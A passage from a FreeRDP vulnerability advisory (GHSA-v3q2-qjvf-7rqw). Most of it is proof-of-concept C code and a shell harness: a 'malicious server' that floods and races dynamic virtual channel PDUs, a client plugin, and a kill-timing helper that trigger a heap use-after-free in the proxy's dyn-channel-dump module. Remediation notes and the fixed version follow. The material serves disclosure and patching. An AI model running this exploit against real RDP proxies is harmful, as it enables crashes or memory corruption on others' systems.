DATA_FIRST PDUs on the * intercepted 'evil' dynamic channel (id 42, config Intercept=evil) so the proxy client * thread is executing pf_client_receive_channel_data_hook -> data_cb -> module intercept * when the front thread runs SERVER_SESSION_END and deletes the module per-session state. */ static BOOL raw_send_data_first(freerdp_peer* client, WTSVirtualChannelManager* vcm, UINT32 id, const BYTE* payload, size_t len) { WINPR_ASSERT(client); WINPR_ASSERT(vcm); WINPR_ASSERT(vcm->drdynvc_channel); const UINT16 dvcid = vcm->drdynvc_channel->channelId; const size_t total = 4 + len; BYTE* pdu = (BYTE*)malloc(total); if (!pdu) return FALSE; pdu[0] = (BYTE)((DATA_FIRST_PDU << 4) | (0x01 << 2) | 0x00); /* cbLen=1 (2-byte length) */ pdu[1] = (BYTE)(id & 0xFF); pdu[2] = (BYTE)(len & 0xFF); pdu[3] = (BYTE)((len >> 8) & 0xFF); memcpy(&pdu[4], payload, len); const BOOL ok = client->SendChannelPacket(client, dvcid, total, CHANNEL_FLAG_FIRST | CHANNEL_FLAG_LAST, pdu, total); free(pdu); return ok; } /* fragmented-message dump-teardown driver: send one DVC DATA message fragmented over several VC * packets. The proxy's channelTracker_update accumulates each fragment and data_cb hands * the whole accumulated buffer to the module on every fragment, so the dyn-channel-dump * module writes an ever larger file per fragment (quadratic byte volume). This makes the * client-thread module callback much longer, so the front-thread session-end delete more * often lands inside it. */ static BOOL raw_send_data_fragmented(freerdp_peer* client, WTSVirtualChannelManager* vcm, UINT32 id, size_t msg, size_t frag) { WINPR_ASSERT(client); WINPR_ASSERT(vcm); WINPR_ASSERT(vcm->drdynvc_channel); if ((msg == 0) || (frag == 0) || (frag > 0xFFFF) || (msg > UINT32_MAX)) return FALSE; const UINT16 dvcid = vcm->drdynvc_channel->channelId; BYTE* pdu = (BYTE*)malloc(frag + 8); if (!pdu) return FALSE; /* Compute the total VC payload size (DVC headers included) so that every fragment * reports the same CHANNEL_PDU_LENGTH in its header, as the proxy's * channelTracker_update requires (currentPacketSize == totalSize on every chunk). */ size_t vctotal = 0; { size_t rem = msg; BOOL f = TRUE; while (rem > 0) { size_t n = (rem > frag) ? frag : rem; vctotal += (f ? 6 : 2) + n; f = FALSE; rem -= n; } } size_t sent = 0; BOOL first = TRUE; BOOL ok = TRUE; while (ok && (sent < msg)) { size_t n = msg - sent; if (n > frag) n = frag; size_t off = 0; UINT32 vcflags = 0; if (first) { const UINT32 m32 = (UINT32)msg; pdu[0] = (BYTE)((DATA_FIRST_PDU << 4) | (0x02 << 2) | 0x00); /* cbLen=2 (4-byte len) */ pdu[1] = (BYTE)(id & 0xFF); pdu[2] = (BYTE)(m32 & 0xFF); pdu[3] = (BYTE)((m32 >> 8) & 0xFF); pdu[4] = (BYTE)((m32 >> 16) & 0xFF); pdu[5] = (BYTE)((m32 >> 24) & 0xFF); off = 6; vcflags = CHANNEL_FLAG_FIRST; first = FALSE; } else { pdu[0] = (BYTE)((DATA_PDU << 4) | 0x00); /* cbId=0 (1-byte channel id) */ pdu[1] = (BYTE)(id & 0xFF); off = 2; } memset(&pdu[off], 0x5a, n); if (sent + n >= msg) vcflags |= CHANNEL_FLAG_LAST; ok = client->SendChannelPacket(client, dvcid, vctotal, vcflags, pdu, off + n); sent += n; } free(pdu); return ok; } static void flood_step(freerdp_peer* client, peer_context* pc, WTSVirtualChannelManager* vcm) { if (pc->amp_state == 0) { (void)raw_send_create(client, vcm, AMP_DVC_ID, "evil"); WLog_ERR(TAG, "FLOOD: created 'evil' id=%u", AMP_DVC_ID); pc->amp_state = 1; return; } BYTE payload[65536]; size_t len = pc->cfg->payload; if ((len == 0) || (len > sizeof(payload))) len = sizeof(payload); if (pc->cfg->msg_size > 0) { size_t frag = pc->cfg->frag_size; if (frag == 0) frag = 16384; UINT32 burst = pc->cfg->burst; if (burst == 0) burst = 4; for (UINT32 i = 0; i < burst; i++) (void)raw_send_data_fragmented(client, vcm, AMP_DVC_ID, pc->cfg->msg_size, frag); return; } memset(payload, 0x5a, len); UINT32 burst = pc->cfg->burst; if (burst == 0) burst = 24; for (UINT32 i = 0; i < burst; i++) (void)raw_send_data_first(client, vcm, AMP_DVC_ID, payload, len); } /* create-race-mode race driver: spam a raw DRDYNVC CREATE_REQUEST for an id that the * front peer is actively sending DATA on. Each CREATE makes the proxy's back * tracker HashTable_Remove/free the per-channel context with no lock while the * front thread may be in DynvcTrackerHandleCmdDATA for the same id. */ static BOOL raw_send_create(freerdp_peer* client, WTSVirtualChannelManager* vcm, UINT32 id, const char* name) { WINPR_ASSERT(client); WINPR_ASSERT(vcm); WINPR_ASSERT(vcm->drdynvc_channel); const UINT16 dvcid = vcm->drdynvc_channel->channelId; BYTE buf[128] = WINPR_C_ARRAY_INIT; size_t pos = 0; buf[pos++] = (BYTE)((CREATE_REQUEST_PDU << 4) | 0x00); buf[pos++] = (BYTE)(id & 0xFF); const size_t nlen = strlen(name) + 1; memcpy(&buf[pos], name, nlen); pos += nlen; return client->SendChannelPacket(client, dvcid, pos, CHANNEL_FLAG_FIRST | CHANNEL_FLAG_LAST, buf, pos); } static void race_step(freerdp_peer* client, peer_context* pc, WTSVirtualChannelManager* vcm) { if (pc->amp_state == 0) { (void)raw_send_create(client, vcm, 42u, "evil"); pc->amp_t0 = GetTickCount64(); pc->amp_state = 1; WLog_ERR(TAG, "RACE: initial CREATE evil id=42 on drdynvc ch=%u", vcm->drdynvc_channel->channelId); return; } if (pc->amp_state == 1) { for (int i = 0; i < 200; i++) (void)raw_send_create(client, vcm, 42u, "evil"); if ((GetTickCount64() - pc->amp_t0) > 30000) { WLog_ERR(TAG, "RACE: stopping CREATE spam after 30s"); pc->amp_state = 2; } } } static DWORD WINAPI peer_mainloop(LPVOID arg) { freerdp_peer* client = (freerdp_peer*)arg; WINPR_ASSERT(client); server_config* cfg = client->ContextExtra; WINPR_ASSERT(cfg); if (!peer_init(client)) { WLog_ERR(TAG, "peer_init failed"); freerdp_peer_free(client); return 1; } if (!peer_setup_settings(client)) { WLog_ERR(TAG, "peer_setup_settings failed"); goto fail; } client->PostConnect = peer_post_connect; client->Activate = peer_activate; client->Capabilities = peer_capabilities; WLog_INFO(TAG, "peer connected from %s", client->hostname); if (!client->Initialize(client)) { WLog_ERR(TAG, "client->Initialize failed"); goto fail; } peer_context* pc = (peer_context*)client->context; if (cfg->wire_dump) { pc->wire_fp = fopen(cfg->wire_dump, "a"); if (pc->wire_fp) { const rdpTransportIo* cb = freerdp_get_io_callbacks(client->context); WINPR_ASSERT(cb); pc->io = *cb; rdpTransportIo wire = *cb; wire.WritePdu = hook_write_pdu; if (!freerdp_set_io_callbacks(client->context, &wire)) WLog_ERR(TAG, "failed to install wire dump hook"); else WLog_INFO(TAG, "wire dump enabled: %s", cfg->wire_dump); } else WLog_ERR(TAG, "cannot open wire dump %s", cfg->wire_dump); } const UINT64 start = GetTickCount64(); BOOL running = TRUE; while (running) { HANDLE handles[MAXIMUM_WAIT_OBJECTS] = WINPR_C_ARRAY_INIT; DWORD count = 0; DWORD tmp = client->GetEventHandles(client, &handles[count], 32 - count); if (tmp == 0) { WLog_ERR(TAG, "GetEventHandles failed"); break; } count += tmp; handles[count++] = WTSVirtualChannelManagerGetEventHandle(pc->vcm); if (pc->gfx) { HANDLE gfxEvent = rdpgfx_server_get_event_handle(pc->gfx); if (gfxEvent) handles[count++] = gfxEvent; } DWORD wait_ms = 1000; if (cfg->max_seconds > 0) { const UINT64 elapsed = GetTickCount64() - start; const UINT64 budget = (UINT64)cfg->max_seconds * 1000ULL; if (elapsed >= budget) break; wait_ms = (DWORD)MIN(wait_ms, budget - elapsed); } if ((cfg->mode == MODE_RACE) || (cfg->mode == MODE_FLOOD)) wait_ms = 0; DWORD status = WaitForMultipleObjects(count, handles, FALSE, wait_ms); if (status == WAIT_FAILED) { WLog_ERR(TAG, "WaitForMultipleObjects failed"); break; } if (client->CheckFileDescriptor(client) != TRUE) break; /* Like server/shadow/shadow_client.c, only drive the DVC manager after the * session is active: draining the vcm queue earlier sends the DRDYNVC caps * before the client has created the drdynvc channel and they are lost. */ if (pc->activated) { if (WTSVirtualChannelManagerCheckFileDescriptor(pc->vcm) != TRUE) break; } if (pc->gfx && pc->gfx_opened) { const UINT grc = rdpgfx_server_handle_messages(pc->gfx); if ((grc != CHANNEL_RC_OK) && (grc != ERROR_NO_DATA)) WLog_WARN(TAG, "rdpgfx_server_handle_messages rc=%" PRIu32, grc); } if (pc->activated && WTSVirtualChannelManagerIsChannelJoined(pc->vcm, DRDYNVC_SVC_CHANNEL_NAME)) { const DWORD dvcState = WTSVirtualChannelManagerGetDrdynvcState(pc->vcm); static DWORD last_dvc_state = 0xFFFFFFFF; if (dvcState != last_dvc_state) { WLog_INFO(TAG, "DRDYNVC state -> %" PRIu32, dvcState); last_dvc_state = dvcState; } if ((dvcState == DRDYNVC_STATE_READY) && pc->gfx && !pc->gfx_opened) { if (pc->gfx->Open(pc->gfx)) { pc->gfx_opened = TRUE; WLog_INFO(TAG, "RDPGFX dynamic channel opened"); const UINT grc = rdpgfx_server_handle_messages(pc->gfx); if ((grc != CHANNEL_RC_OK) && (grc != ERROR_NO_DATA)) WLog_WARN(TAG, "rdpgfx initial poll rc=%" PRIu32, grc); } else WLog_WARN(TAG, "RDPGFX Open failed (will retry)"); } if ((cfg->mode == MODE_AMP) && (dvcState == DRDYNVC_STATE_READY)) amp_step(client, pc, (WTSVirtualChannelManager*)pc->vcm); if ((cfg->mode == MODE_RACE) && (dvcState == DRDYNVC_STATE_READY)) race_step(client, pc, (WTSVirtualChannelManager*)pc->vcm); if ((cfg->mode == MODE_FLOOD) && (dvcState == DRDYNVC_STATE_READY)) flood_step(client, pc, (WTSVirtualChannelManager*)pc->vcm); } /* mode-specific completion conditions */ if ((cfg->mode == MODE_ALPHA) && pc->sent && !cfg->keep_alive) ; /* keep looping so the client can act on the PDU */ } WLog_INFO(TAG, "peer loop finished (activated=%d sent=%d gfx=%d)", pc->activated, pc->sent, pc->gfx_opened); client->Disconnect(client); fail: freerdp_peer_context_free(client); freerdp_peer_free(client); return 0; } static BOOL on_peer_accepted(freerdp_listener* listener, freerdp_peer* client) { server_config* cfg = (server_config*)listener->info; WINPR_ASSERT(cfg); WINPR_ASSERT(client); client->ContextExtra = cfg; HANDLE hThread = CreateThread(nullptr, 0, peer_mainloop, client, 0, nullptr); if (!hThread) return FALSE; CloseHandle(hThread); return TRUE; } static void usage(const char* app) { fprintf(stderr, "usage: %s [--mode=none|bitmap|rfx|caps|alpha|redir|amp] [--port=PORT] " "[--bind=ADDR] [--cert=FILE] [--key=FILE] [--sam=FILE] [--sec=nla|tls|rdp] " "[--caps-geometry=WxH] [--redir-len=N] [--max-seconds=N] [--wire-dump=FILE] " "[--payload=N] [--burst=N] [--msg-size=N] [--frag-size=N] [--keep-alive]\n", app); } int main(int argc, char* argv[]) { int rc = 1; WSADATA wsaData = WINPR_C_ARRAY_INIT; freerdp_listener* listener = nullptr; server_config cfg = { .mode = MODE_NONE, .mode_name = "none", .port = 3444, .bind_address = "127.0.0.1", .cert = "server.crt", .key = "server.key", .sam = "SAM", .sec = "nla", .caps_width = 32768, .caps_height = 32768, .redir_len = 300, .max_seconds = 90, .payload = 4096, .burst = 24, .msg_size = 0, .frag_size = 16384, .keep_alive = TRUE }; for (int i = 1; i < argc; i++) { const char* arg = argv[i]; if (strncmp(arg, "--mode=", 7) == 0) { cfg.mode = parse_mode(&arg[7]); cfg.mode_name = mode_name(cfg.mode); } else if (strncmp(arg, "--port=", 7) == 0) cfg.port = (UINT16)strtoul(&arg[7], nullptr, 0); else if (strncmp(arg, "--bind=", 7) == 0) cfg.bind_address = &arg[7]; else if (strncmp(arg, "--cert=", 7) == 0) cfg.cert = &arg[7]; else if (strncmp(arg, "--key=", 6) == 0) cfg.key = &arg[6]; else if (strncmp(arg, "--sam=", 6) == 0) cfg.sam = &arg[6]; else if (strncmp(arg, "--sec=", 6) == 0) cfg.sec = &arg[6]; else if (strncmp(arg, "--caps-geometry=", 16) == 0) { unsigned int w = 0, h = 0; if (sscanf(&arg[16], "%ux%u", &w, &h) == 2) { cfg.caps_width = w; cfg.caps_height = h; } } else if (strncmp(arg, "--redir-len=", 12) == 0) cfg.redir_len = (UINT32)strtoul(&arg[12], nullptr, 0); else if (strncmp(arg, "--max-seconds=", 14) == 0) cfg.max_seconds = (UINT32)strtoul(&arg[14], nullptr, 0); else if (strncmp(arg, "--payload=", 10) == 0) cfg.payload = (UINT32)strtoul(&arg[10], nullptr, 0); else if (strncmp(arg, "--burst=", 8) == 0) cfg.burst = (UINT32)strtoul(&arg[8], nullptr, 0); else if (strncmp(arg, "--msg-size=", 11) == 0) cfg.msg_size = (UINT32)strtoul(&arg[11], nullptr, 0); else if (strncmp(arg, "--frag-size=", 12) == 0) cfg.frag_size = (UINT32)strtoul(&arg[12], nullptr, 0); else if (strncmp(arg, "--dump=", 7) == 0) cfg.dump_file = &arg[7]; else if (strncmp(arg, "--wire-dump=", 12) == 0) cfg.wire_dump = &arg[12]; else if (strcmp(arg, "--keep-alive") == 0) cfg.keep_alive = TRUE; else if (strcmp(arg, "--help") == 0) { usage(argv[0]); return 0; } else { usage(argv[0]); return 2; } } signal(SIGINT, on_signal); signal(SIGTERM, on_signal); if (!WTSRegisterWtsApiFunctionTable(FreeRDP_InitWtsApi())) return 1; if (!winpr_InitializeSSL(WINPR_SSL_INIT_DEFAULT)) return 1; WLog_SetStringLogLevel(WLog_GetRoot(), "TRACE"); listener = freerdp_listener_new(); if (!listener) return 1; listener->info = &cfg; listener->PeerAccepted = on_peer_accepted; if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) goto out; if (!listener->Open(listener, cfg.bind_address, cfg.port)) { WLog_ERR(TAG, "listener Open failed on %s:%" PRIu16, cfg.bind_address, cfg.port); goto out; } WLog_INFO(TAG, "malicious server listening on %s:%" PRIu16 " mode=%s sec=%s", cfg.bind_address, cfg.port, cfg.mode_name, cfg.sec); fflush(stdout); const UINT64 start = GetTickCount64(); while (!g_stop) { HANDLE handles[32] = WINPR_C_ARRAY_INIT; DWORD count = listener->GetEventHandles(listener, handles, 32); if (count == 0) { WLog_ERR(TAG, "listener GetEventHandles failed"); break; } DWORD wait_ms = 1000; if (cfg.max_seconds > 0) { const UINT64 elapsed = GetTickCount64() - start; const UINT64 budget = (UINT64)cfg.max_seconds * 1000ULL; if (elapsed >= budget) break; wait_ms = (DWORD)MIN(wait_ms, budget - elapsed); } DWORD status = WaitForMultipleObjects(count, handles, FALSE, wait_ms); if (status == WAIT_FAILED) break; if (!listener->CheckFileDescriptor(listener)) break; } rc = 0; out: if (listener) { listener->Close(listener); freerdp_listener_free(listener); } WSACleanup(); return rc; } ``` `evil_quiet_client.c`: ```c /* * evil_quiet_client.c - quiet front-peer DRDYNVC "evil" channel plugin for the * dump-teardown-mode rate campaign (wave10). * * Difference from the wave6 evil_dvc_client.c: this plugin does NOT spawn a * thread that spams front->back DATA. It only registers/opens the "evil" DVC * so xfreerdp can join it, and discards back->front DATA. The goal is to keep * the proxy client thread's loop dominated by the back->front DATA path * (pf_client_receive_channel_data_hook -> dyn-channel-dump intercept), so that * the front-session teardown free more often lands inside the module callback. * * Used only against the local test proxy. Source checkout is read-only; this * is an isolated local test helper. */ #include <freerdp/config.h> #include <string.h> #include <winpr/crt.h> #include <freerdp/addin.h> #include <freerdp/client/channels.h> #include <freerdp/channels/log.h> #include <freerdp/dvc.h> #define TAG CHANNELS_TAG("evil.client") #define EVIL_DVC_NAME "evil" typedef struct { GENERIC_DYNVC_PLUGIN base; } EVIL_PLUGIN; typedef struct { GENERIC_CHANNEL_CALLBACK base; } EVIL_CB; static UINT evil_on_data_received(IWTSVirtualChannelCallback* pChannelCallback, wStream* data) { (void)pChannelCallback; (void)data; return CHANNEL_RC_OK; } static UINT evil_on_open(IWTSVirtualChannelCallback* pChannelCallback) { (void)pChannelCallback; WLog_ERR(TAG, "evil DVC opened (quiet, no front->back spam)"); return CHANNEL_RC_OK; } static UINT evil_on_close(IWTSVirtualChannelCallback* pChannelCallback) { (void)pChannelCallback; WLog_ERR(TAG, "evil DVC closed"); return CHANNEL_RC_OK; } static const IWTSVirtualChannelCallback evil_callbacks = { evil_on_data_received, /* OnDataReceived */ evil_on_open, /* OnOpen */ evil_on_close, /* OnClose */ nullptr /* reserved */ }; FREERDP_ENTRY_POINT(UINT VCAPITYPE DVCPluginEntry(IDRDYNVC_ENTRY_POINTS* pEntryPoints)) { return freerdp_generic_DVCPluginEntry(pEntryPoints, TAG, EVIL_DVC_NAME, sizeof(EVIL_PLUGIN), sizeof(EVIL_CB), &evil_callbacks, nullptr, nullptr); } ``` `backwatch.c`: ```c /* * backwatch.c - dump-teardown harness helper. * * Watches a dump root directory (recursively one level for session-XXXX dirs * created by the dyn-channel-dump proxy module) and sends SIGKILL to a target * PID as soon as a chosen number of "-evil.back.dump" files (back->front * DRDYNVC DATA processed on the proxy client thread) have been created. * * The module creates the dump file inside ChannelData::stream(), i.e. while the * proxy client thread is executing the module callback on the intercepted DVC. * Killing the front client at that instant keeps the front thread's teardown * (pf_server.c:766 -> dyn-channel-dump.cpp:244 delete) aligned with the * client-thread use path. * * Harness code only; no product code. Usage: * backwatch ROOT PID WARMUP [TIMEOUT_MS] [MATCH] * where MATCH defaults to "-evil.back.dump". */ #include <errno.h> #include <signal.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/inotify.h> #include <sys/stat.h> #include <sys/types.h> #include <time.h> #include <unistd.h> #define MAXW 64 static int g_wd[MAXW]; static int g_nw = 0; static int add_watch(int fd, const char* path) { if (g_nw >= MAXW) return -1; const int wd = inotify_add_watch(fd, path, IN_CREATE | IN_MOVED_TO); if (wd < 0) return -1; g_wd[g_nw++] = wd; return wd; } static uint64_t now_ms(void) { struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); return (uint64_t)ts.tv_sec * 1000ULL + (uint64_t)ts.tv_nsec / 1000000ULL; } int main(int argc, char** argv) { if (argc < 4) { fprintf(stderr, "usage: %s ROOT PID WARMUP [TIMEOUT_MS] [MATCH]\n", argv[0]); return 2; } const char* root = argv[1]; const pid_t pid = (pid_t)atoi(argv[2]); const long warmup = atol(argv[3]); const long timeout_ms = (argc > 4) ? atol(argv[4]) : 15000; const char* match = (argc > 5) ? argv[5] : "-evil.back.dump"; int fd = inotify_init1(IN_NONBLOCK | IN_CLOEXEC); if (fd < 0) { perror("inotify_init1"); return 2; } if (add_watch(fd, root) < 0) { perror("inotify_add_watch(root)"); return 2; } const uint64_t t0 = now_ms(); long created = 0; char buf[4096] __attribute__((aligned(8))); int killed = 0; while (!killed) { const ssize_t n = read(fd, buf, sizeof(buf)); if (n > 0) { for (ssize_t off = 0; off < n;) { const struct inotify_event* ev = (const struct inotify_event*)&buf[off]; if (ev->mask & IN_CREATE) { if (ev->mask & IN_ISDIR) { char sub[4096]; snprintf(sub, sizeof(sub), "%s/%s", root, ev->name); (void)add_watch(fd, sub); } else if (strstr(ev->name, match)) { created++; if (created == warmup) { const uint64_t dt = now_ms() - t0; fprintf(stderr, "BACKWATCH hit warmup=%ld first=%s t=%llums\n", warmup, ev->name, (unsigned long long)dt); fflush(stderr); if (kill(pid, SIGKILL) == 0) killed = 1; else perror("kill"); } } } off += (ssize_t)sizeof(*ev) + ev->len; } } else if (n < 0 && errno != EAGAIN) break; if (!killed && (now_ms() - t0) > (uint64_t)timeout_ms) { fprintf(stderr, "BACKWATCH timeout created=%ld\n", created); return 3; } if (!killed) usleep(200); } fprintf(stderr, "BACKWATCH killed pid=%d created=%ld t=%llums\n", (int)pid, created, (unsigned long long)(now_ms() - t0)); close(fd); return 0; } ``` `run.sh`: ```sh #!/bin/sh # Local two-peer ASan reproducer. The adapted runner was not rerun. set -eu : "${SOURCE:?set SOURCE to FreeRDP 3.32.1 source root}" : "${BUILD:?set BUILD to its ASan build root}" : "${PROXY:?set PROXY to its ASan freerdp-proxy binary}" : "${ASAN_MODULE:?set ASAN_MODULE to its ASan dyn-channel-dump plugin}" : "${MODULE_DIR:?set MODULE_DIR to the proxy module search directory}" : "${CHANNEL_DIR:?set CHANNEL_DIR to the xfreerdp channel plugin directory}" : "${CERT:?set CERT to a disposable server certificate}" : "${KEY:?set KEY to its key}" : "${SAM:?set SAM to a disposable test SAM database}" : "${TEST_USER:?set TEST_USER to a test account}" : "${TEST_PASSWORD:?set TEST_PASSWORD to that account password}" CLIENT=${CLIENT:-xfreerdp} mkdir -p dump logs backup cp -p "$MODULE_DIR/libproxy-dyn-channel-dump-plugin.so" backup/module.so if [ -e "$CHANNEL_DIR/libevil-client.so" ]; then cp -p "$CHANNEL_DIR/libevil-client.so" backup/client.so fi cleanup() { test ! -e backup/module.so || cp -p backup/module.so "$MODULE_DIR/libproxy-dyn-channel-dump-plugin.so" test ! -e backup/client.so || cp -p backup/client.so "$CHANNEL_DIR/libevil-client.so" test -z "${backend_pid:-}" || kill "$backend_pid" 2>/dev/null || true test -z "${proxy_pid:-}" || kill "$proxy_pid" 2>/dev/null || true test -z "${front_pid:-}" || kill "$front_pid" 2>/dev/null || true } trap cleanup EXIT INT TERM cc -O1 -g -o flood_server flood_server.c \ -I"$SOURCE/include" -I"$SOURCE/winpr/include" -I"$SOURCE" \ -I"$BUILD/include" -I"$BUILD/winpr/include" \ -L"$BUILD/server/common" -L"$BUILD/libfreerdp" -L"$BUILD/winpr/libwinpr" \ -Wl,-rpath,"$BUILD/server/common:$BUILD/libfreerdp:$BUILD/winpr/libwinpr" \ -lfreerdp-server3 -lfreerdp3 -lwinpr3 -lssl -lcrypto -lpthread -ldl -lm cc -shared -fPIC -O1 -g -o libevil-client.so evil_quiet_client.c \ -I"$SOURCE/include" -I"$SOURCE/winpr/include" -I"$SOURCE" \ -I"$BUILD/include" -I"$BUILD/winpr/include" \ -L"$BUILD/libfreerdp" -L"$BUILD/winpr/libwinpr" \ -lfreerdp3 -lwinpr3 cc -O1 -g -o backwatch backwatch.c cp -p "$ASAN_MODULE" "$MODULE_DIR/libproxy-dyn-channel-dump-plugin.so" cp -p libevil-client.so "$CHANNEL_DIR/libevil-client.so" cat > proxy.ini <<EOF [Server] Host=127.0.0.1 Port=4402 SamFile=$SAM [Target] Host=127.0.0.1 Port=3445 FixedTarget=true TlsSecLevel=1 User=$TEST_USER Password=$TEST_PASSWORD CertificatePolicy=allow [Channels] PassthroughIsBlacklist=true Passthrough= Intercept=evil [Security] ServerTlsSecurity=true ServerNlaSecurity=true ClientTlsSecurity=true ClientNlaSecurity=true [Certificates] CertificateFile=$CERT PrivateKeyFile=$KEY [Plugins] Modules=dyn-channel-dump [dyn-channel-dump] path=$(pwd)/dump channels=evil EOF export ASAN_OPTIONS=detect_leaks=0:handle_segv=0:handle_sigbus=0:handle_abort=0:abort_on_error=0 ./flood_server --mode=flood --port=3445 --sec=nla --cert="$CERT" --key="$KEY" \ --sam="$SAM" --max-seconds=3600 --burst=4 --msg-size=262144 \ --frag-size=16384 > logs/backend.log 2>&1 & backend_pid=$! "$PROXY" proxy.ini > logs/proxy.log 2>&1 & proxy_pid=$! sleep 3 hits=0 s=1 while [ "$s" -le 40 ]; do rm -rf dump mkdir dump "$CLIENT" /v:127.0.0.1:4402 /u:"$TEST_USER" /p:"$TEST_PASSWORD" \ /cert:ignore /size:800x600 /dvc:evil /log-level:ERROR \ > "logs/front-$s.log" 2>&1 & front_pid=$! ./backwatch dump "$front_pid" 8 20000 > "logs/watch-$s.log" 2>&1 || kill -9 "$front_pid" 2>/dev/null || true wait "$front_pid" 2>/dev/null || true front_pid= sleep 1 if grep -q 'AddressSanitizer: heap-use-after-free' logs/proxy.log; then echo "ASan UAF observed by session $s" hits=$((hits+1)) break fi s=$((s+1)) done printf 'sessions=%s hits=%s\n' "$s" "$hits" ``` Set the environment variables named at the top of `run.sh` to the isolated test build and then run `sh run.sh`. Inspect `logs/proxy.log` for the ASan free/use stacks. The observed 40-session run hit 4/40; the result of any individual run is timing dependent. A simpler, unfragmented 40-session control run hit 0/40. The default no-module configuration has no `ChannelData` to free. `bitmap-filter` alone uses its per-session state only in the front-thread path, so this report does not include that module as an affected trigger. ### Remediation Join the client thread before invoking `SERVER_SESSION_END`, and remove or clear the `modules_info` entry when plugin data is deleted. Synchronize module-data access if callbacks can still race with teardown. Add an ASan regression test that sends target-to-front DVC traffic while ending the front session.

Why it matters now

Fix Fixed FreeRDP (c): 3.32.2

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (c)<= 3.32.13.32.2Patch availableGHSA-v3q2-qjvf-7rqw
  • FreeRDP (c) Vendor— Affected <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-v3q2-qjvf-7rqw

Remediation

Upgrade FreeRDP to version 3.32.2, the fixed version listed for the product.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-v3q2-qjvf-7rqw FreeRDP (c) Fixed in 3.32.2 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-v3q2-qjvf-7rqw

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences